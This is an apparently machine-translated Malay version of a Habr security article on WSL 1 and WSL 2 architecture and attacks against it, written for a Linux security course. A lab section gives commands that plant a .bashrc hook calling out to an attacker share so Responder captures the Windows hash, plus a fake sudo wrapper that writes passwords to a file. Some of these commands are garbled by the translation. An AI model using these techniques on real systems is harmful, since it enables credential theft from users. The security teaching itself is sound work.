Eksperimen WSL. Bahagian 1

Hello, habr! OTUS melancarkan aliran kursus baharu pada bulan Oktober "Keselamatan Linux". Dalam menjangkakan permulaan kursus, kami berkongsi dengan anda artikel yang ditulis oleh salah seorang guru kami, Alexander Kolesnikov.

Eksperimen WSL. Bahagian 1

Pada 2016, Microsoft memperkenalkan teknologi WSL baharu kepada komuniti IT (Winduk Subsystem untuk Linux), yang pada masa akan datang memungkinkan untuk menyatukan pesaing yang tidak dapat didamaikan sebelum ini yang memperjuangkan populariti di kalangan pengguna OS biasa dan lanjutan: Windows dan Linux. Teknologi ini memungkinkan untuk menggunakan alat OS Linux dalam persekitaran Windows tanpa perlu menjalankan Linux, contohnya, menggunakan Multi-boot. Di Habr anda boleh menemui sejumlah besar artikel yang menerangkan faedah menggunakan WSL. Walau bagaimanapun, malangnya, pada masa artikel ini dibuat, tiada kajian tentang keselamatan simbiosis sistem pengendalian sedemikian ditemui pada sumber ini. Catatan ini akan menjadi percubaan untuk membetulkannya. Artikel ini akan membincangkan ciri-ciri seni bina WSL 1 dan 2 dan mengkaji beberapa contoh serangan ke atas sistem yang menggunakan teknologi ini. Artikel terbahagi kepada 2 bahagian. Yang pertama akan menyediakan kaedah serangan teori utama dari Linux dan Windows. Artikel kedua akan melibatkan penyediaan persekitaran ujian dan menghasilkan semula serangan.

WSL 1: ciri seni bina

Untuk menyelami isu keselamatan WSL yang paling tepat, adalah perlu untuk menentukan nuansa utama yang berkaitan dengan pelaksanaan subsistem. Salah satu tugas pengguna utama yang diselesaikan oleh WSL ialah keupayaan untuk bekerja melalui terminal Linux pada hos yang menjalankan OS Windows. Selain itu, keserasian yang ditawarkan adalah sangat asli sehingga Linux boleh laku (ELF) boleh dijalankan terus pada sistem Windows. Untuk mencapai matlamat ini, subsistem khas telah dicipta dalam Windows 10 yang membolehkan anda menjalankan aplikasi Linux menggunakan satu set panggilan sistem tertentu - oleh itu, percubaan telah dibuat untuk memetakan satu set syscall Linux pada Windows. Ini dilaksanakan secara fizikal dengan menambah pemacu baharu dan format proses baharu. Secara visual seni bina kelihatan seperti ini:

Eksperimen WSL. Bahagian 1

Malah, interaksi dengan sistem pengendalian Linux telah dianjurkan melalui beberapa modul kernel dan jenis proses khas - pico. Daripada rajah di atas, anda boleh melihat bahawa proses yang berjalan pada contoh Linux pada hos mestilah asli dan mesti menggunakan sumber yang sama seperti aplikasi Windows biasa. Tetapi bagaimana untuk mencapai ini? Dalam projek Drawbridge Konsep proses untuk Windows telah dibangunkan yang menyediakan semua komponen sistem pengendalian yang diperlukan (bergantung pada versinya) untuk menjalankan aplikasi OS lain.

Ambil perhatian bahawa abstraksi yang dicadangkan memungkinkan untuk tidak menumpukan pada sistem pengendalian (khususnya, Windows), di mana proses OS lain dijangka dilancarkan, dan mencadangkan pendekatan umum.

Oleh itu, sebarang aplikasi di dalam proses pico boleh dijalankan tanpa mengambil kira kernel Windows:

  1. Masalah keserasian dan terjemahan panggilan sistem mesti diselesaikan oleh pembekal khas;
  2. Kawalan capaian mesti dilakukan melalui Pemantau Keselamatan. Monitor terletak dalam kernel dan oleh itu Windows memerlukan peningkatan dalam bentuk pemacu baharu yang boleh bertindak sebagai pembekal untuk proses tersebut. Proses pico prototaip dibentangkan secara skematik di bawah:

Eksperimen WSL. Bahagian 1

Memandangkan sistem fail Linux menggunakan fail sensitif huruf besar dan nama direktori, 2 jenis sistem fail telah ditambahkan pada Windows untuk berfungsi dengan WSL - VolFS dan DriveFS. VolFS ialah pelaksanaan sistem fail Linux, DriveFS ialah sistem fail yang berfungsi mengikut peraturan Windows, tetapi mempunyai keupayaan untuk memilih kepekaan huruf besar.

WSL 2

WSL 1 mempunyai beberapa batasan yang tidak membenarkannya digunakan untuk menyelesaikan julat maksimum tugas: contohnya, ia tidak mempunyai keupayaan untuk menjalankan aplikasi Linux 32-bit, dan adalah mustahil untuk menggunakan pemacu peranti. Oleh itu, pada tahun 2020, WSL 2 telah dikeluarkan, yang mengubah pendekatan untuk membina subsistem. WSL 2 ialah mesin maya yang dioptimumkan yang sepadan dengan ciri penggunaan sumber WSL 1. Kini, bergantung pada masalah yang diselesaikan oleh pengguna Windows OS, anda boleh memilih versi subsistem Linux yang diperlukan. Untuk mengurangkan kemungkinan kelemahan, WSL 2 telah dilaksanakan berdasarkan Hyper-V dalam Windows 10. Dalam bentuk ini, Windows mempunyai keupayaan untuk menjalankan kernel sistem pengendalian Linux secara berasingan. Perlu diingat bahawa versi 1 WSL telah diperkenalkan sebagai ciri beta yang sepatutnya menunjukkan arah pembangunan Windows di kawasan ini, jadi peralihan kepada Hyper-V tidak dapat dielakkan. Seni bina akhir kelihatan seperti ini:

Eksperimen WSL. Bahagian 1

Dalam versi ini, kernel Windows dan Linux mempunyai sumber mereka sendiri dan persimpangan hanya wujud dalam sistem fail, tetapi persimpangan ini tidak lengkap. Interaksi antara sistem fail dijalankan melalui pembungkus pelayan-klien yang berfungsi menggunakan protokol 9P.

Hari ini Microsoft menyediakan keupayaan untuk bertukar antara WSL 1 dan WSL 2. Kedua-dua versi tersedia untuk digunakan.

Keselamatan WSL

Pada masa ini, terdapat beberapa karya yang menerangkan beberapa pendekatan untuk menggunakan alat OS yang sah untuk menyerang komunikasi antara subsistem. Kami akan menggunakan skrip mereka untuk menyemak kaitan serangan pada masa penulisan. Senarai umum serangan dan senario:

1. Pelaksanaan sistem fail: hak akses, ketersediaan direktori kongsi/mekanisme pertukaran data.

Penyelidikan telah dijalankan untuk menentukan pelanggaran peraturan akses daripada Linux FS->Windows FS, Windows FS->Linux FS. Penyelidikan telah menunjukkan keupayaan untuk mengubah suai fail tertentu dalam OS sasaran. Percubaan juga dibuat untuk menggantikan, mencipta pendua dan memadam sebahagian daripada sistem fail.

Senario:

  • A. Serangan daripada sistem pengendalian Windows - pengubahsuaian fail daripada direktori /etc OS Linux.
  • B. Serangan daripada sistem pengendalian Linux - pengubahsuaian fail dalam direktori: C:Windows, C:Program Files, C:Users<User>

2. Pelaksanaan timbunan rangkaian.

Penyelidikan telah dijalankan menggunakan contoh serangan daripada sistem pengendalian Linux pada Windows. Ciri-ciri susunan rangkaian telah digunakan, iaitu, mekanisme pengesahan pada pelbagai sumber.

Senario:

  • Membuka akses kepada port yang diduduki pada sistem Windows
  • Membuka pelabuhan tanpa hak yang sesuai
  • Menjalankan shell terbalik menggunakan fail elf pada sistem pengendalian Windows.

3. Menyembunyikan pelancaran proses perisian berniat jahat menggunakan subsistem WSL.

Penyelidikan adalah berdasarkan fakta mudah - subsistem keselamatan tidak boleh memintas peristiwa dalam kernel lain yang berfungsi menggunakan pembekal yang sah daripada sistem pengendalian dalam kes WSL 1. Dalam kes WSL 2, tiada cara untuk melihat peristiwa yang berlaku dalam kernel berasingan dalam mesin maya ringan.

Senario:

1) Lancarkan aplikasi untuk akses jauh ke sistem dan lihat acara yang dilog.

Percubaan WSL 1: pemintasan cincang (Windows)

Akhirnya kami sampai ke bahagian praktikal. Pertama, anda perlu menyediakan persekitaran ujian. Semua eksperimen akan dijalankan di atas bangku dengan Windows 10 2004. Imej Ubuntu 18.04 telah dipilih sebagai imej sistem pengendalian untuk WSL. Imej telah dipilih secara rawak, dan mana-mana imej lain akan berfungsi sama. Perintah untuk menyediakan pendirian:

Anda mesti melancarkan dahulu powershell.exe sebagai pentadbir.

Untuk WSL 1 anda perlu menjalankan arahan:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π· Linux ΠΈΠ· ΠΌΠ°Π³Π°Π·ΠΈΠ½Π° Microsoft

  • Ubuntu.appx install β€”root #Установим ΠΎΠ±Ρ€Π°Π·
  • Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся ΠΏΡ€ΠΎΠΊΠ»ΠΈΠΊΠ°Ρ‚ΡŒ процСсс настройки ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ мСньшС ΠΏΡ€Π°Π², Ρ‡Π΅ΠΌ root. Для Π½Π°ΡˆΠΈΡ… тСстов это Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ sam.
  • Restart-Computer #ΠŸΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠΌ
  • Selepas but semula pendirian, anda boleh memanggil arahan bash. Jika semuanya berfungsi dengan betul, anda akan melihat output yang serupa dengan ini dalam konsol Windows:

    Eksperimen WSL. Bahagian 1

    Kami akan menggunakan pengedaran Kali Linux sebagai mesin penyerang; semua mesin mesti berada pada rangkaian tempatan yang sama.

    Katakan kita mempunyai akses tanpa hak kepada WSL pada mesin Windows. Mari cuba menyerang sistem pengendalian Linux dengan memanggil arahan daripada Linux. Untuk melaksanakan serangan, kami akan menggunakan teknik autorun yang mudah - kami akan menambah skrip kami untuk pelaksanaan dalam persekitaran Linux. Untuk melakukan ini, anda perlu menukar fail .bashrc.

    Pada mesin dengan WSL kami melaksanakan:

    	1. bash
    	2. ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ Π² домашнюю Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ: cd /home/sam/
    	2. echo  Β«/home/sam/.attack.shΒ» >> .bashrc
    	3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Pada mesin Kali Linux kami jalankan:

    1. Responder -I eth0 -rdvw

    Pada mesin Windows, mari lancarkan bash.

    Kami sedang menunggu keputusan pada mesin Kali Linux:

    Eksperimen WSL. Bahagian 1

    Oleh itu, kami memperoleh cincangan pengguna Windows melalui subsistem WSL dengan melaksanakan arahan pada sistem Linux.

    Percubaan WSL 1: mendapatkan kata laluan pengguna (Linux OS)

    Mari buat satu lagi percubaan. Semasa semakan ini kami akan menambah pada fail .bashrc beberapa arahan untuk mendapatkan kata laluan pengguna sistem pengendalian Linux.

    Mari kita lancarkan bash dan masukkan arahan:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Untuk berjaya menyelesaikan serangan, pengguna Sam perlu memanggil sudo dalam terminal Linux. Selepas ini, kata laluan pengguna OS Linux akan berada dalam fail pass.txt:

    Eksperimen WSL. Bahagian 1

    Pelaksanaan serangan diberikan untuk maklumat teori sahaja.

    Bahagian seterusnya artikel akan menerangkan pelaksanaan protokol 9P, mempertimbangkan penciptaan pengimbas untuk protokol ini, dan juga menjalankan serangan menggunakannya.

    Senarai kesusasteraan terpakai

    Eksperimen WSL. Bahagian 1

    Baca lagi

    Sumber: www.habr.com

    Tambah komen